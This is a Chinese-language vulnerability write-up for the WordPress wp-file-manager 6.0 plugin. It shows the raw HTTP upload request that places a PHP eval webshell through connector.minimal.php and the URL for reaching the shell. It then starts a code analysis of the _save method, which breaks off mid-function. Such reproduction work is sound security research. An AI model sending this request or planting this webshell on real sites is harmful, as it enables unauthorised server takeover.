1.漏洞复现
WordPress 6.2
插件:wp-file-manager 6.0,File Manager (advanced view) – WordPress plugin | WordPress.org (https://wordpress.org/plugins/wp-file-manager/advanced/)
复现
后台,安装、启动插件
前台,提交请求包:
POST /wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php HTTP/1.1
Host: 127.0.0.1
User-Agent: curl/7.88.1
Accept: */*
Content-Length: 424
Content-Type: multipart/form-data; boundary=------------------------52d91370b674307b
--------------------------52d91370b674307b
Content-Disposition: form-data; name="cmd"
upload
--------------------------52d91370b674307b
Content-Disposition: form-data; name="target"
l1_
--------------------------52d91370b674307b
Content-Disposition: form-data; name="upload[]"; filename="shell.php"
Content-Type: application/octet-stream
<?php @eval($_POST[1]);?>
--------------------------52d91370b674307b--
访问一句话木马:http://127.0.0.1/wp-content/plugins/wp-file-manager/lib/files/shell.php
2.逆向分析
从敏感函数逆向分析
elFinderVolumeLocalFileSystem类
敏感函数 copy 位于 elFinderVolumeLocalFileSystem类 的 _save方法
/wp-content/plugins/wp-file-manager/lib/php/elFinderVolumeLocalFileSystem.class.php
protected function _save($fp, $dir, $name, $stat)
{
$path = $this->_joinPath($dir, $name);
$meta = stream_get_meta_data($fp);
$uri = isset($meta['uri']) ? $meta['uri'] : '';
if ($uri && !preg_match('#^[a-zA-Z0-9]+://#', $uri) && !is_link($uri)) {